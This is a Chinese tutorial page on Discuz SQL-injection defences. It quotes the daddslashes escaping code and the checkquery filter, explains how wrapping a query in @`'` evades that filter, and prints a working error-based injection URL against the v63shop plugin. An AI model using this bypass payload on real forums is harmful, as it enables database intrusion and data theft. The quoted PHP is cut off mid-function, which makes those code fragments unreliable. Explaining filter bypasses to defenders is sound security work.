最新下载
热门教程
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
discuz防SQL注入程序代码
时间:2022-06-25 16:32:57 编辑:袖梨 来源:一聚教程网
discuz 是一套通用的 PHP 社区论坛软件系统,在国内占有大量的用户群体,是做论坛的首选系统,在很早的时候就用 discuz 做论坛系统,感触最深的应该就是论坛的安全问题了,以前使用的时候,经常会有大量的信息进行注入,真是防不胜防。
好在 discuz 系统的更新很迅速,每一次的安全问题很快就得到了更新,而最头疼的问题恐怕就是 sql 的注入了,其实不只 discuz 系统,互联网上进行网络攻击的 SQL 注入是很可怕的,虽然 discuz 系统现有的安全问题已经非常完善了,但因为系统功能的强大,还是要注意安全问题。
下面是一段 discuz防sql注入的代码,利用了php提供的引用数据的魔法引用函数 magic_quotes_gpc,这个函数是在我们引用的数据碰到单引号和双引号以及反斜线时自动加上反斜线,帮我们自动转译符号,确保数据操作的正确运行,下面的代码可以细细研究。
代码如下 | 复制代码 |
$magic_quotes_gpc = get_magic_quotes_gpc(); function daddslashes($string, $force = 0) { |
上面的方法真的是万能的可以防sql注入了吗,最近又专家发现discuz一些问题。
Discuz防注入分析如下:
先看防注入配置:
代码如下 | 复制代码 |
$_config['security']['querysafe']['status'] = 1; // 是否开启SQL安全检测,可自动预防SQL注入攻击 |
Discuz 执行SQL语句之前会调用{sourceclassdiscuzdiscuz_database.php} 文件discuz_database_safecheck类下面的checkquery($sql)函数进行过滤。但是过滤并不严谨,我们发现可以绕过改防注入函数。
代码如下 | 复制代码 |
public static function checkquery($sql) { default: break; $clean = preg_replace("/[^a-z0-9_-()#*/"]+/is", "", strtolower($clean)); if (self::$config['afullnote']) { if (is_array(self::$config['dfunction'])) { if (is_array(self::$config['daction'])) { if (self::$config['dlikehex'] && strpos($clean, 'like0x')) { if (is_array(self::$config['dnote'])) { return 1; if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) { |
在discuz v63积分商城插件注入漏洞exp中并不需要斜杠、#号和—注释符。所以会执行$clean = preg_replace("/'(.+?)'/s", '', $sql);
原来SQL语句中两个单引号中间的内容就会被替换为空。并不会进入到下面的else分支。Else下面的所有操作均是对$clean变量的操作。所以绕过的思路就是把SQL语句放在两个单引号中间。对于mysql的一个特性,@`’` 是为空的,所以我们的攻击语句可以放到两个@`’`中间,即使GPC开启,单引号被转义为’,而@`’`变成@`’`对注入也是没有影响的,所以此绕过方法无限制。
即针对该注入漏洞的攻击EXP为:
代码如下 | 复制代码 |
http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=110 or @`'` and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) or @`'` |
调试输出SQL语句:
可以看到我们的注入语句被替换掉了,所以后门的检查字符的时候并没有发现注入语句。最终成功利用:
上面的办法我自己写了一个函数
代码如下 | 复制代码 |
/* /* return $id; |
相关文章
- 《彩色点点战争》推图常用三大主c玩法详解 01-23
- 《燕云十六声》池鱼林木任务攻略 01-23
- 《大连地铁e出行》查看行程记录方法 01-23
- 《明日方舟》2025春节限定干员余角色介绍 01-23
- 《崩坏:星穹铁道》万敌光锥搭配攻略 01-23
- 《燕云十六声》一药千金任务攻略 01-23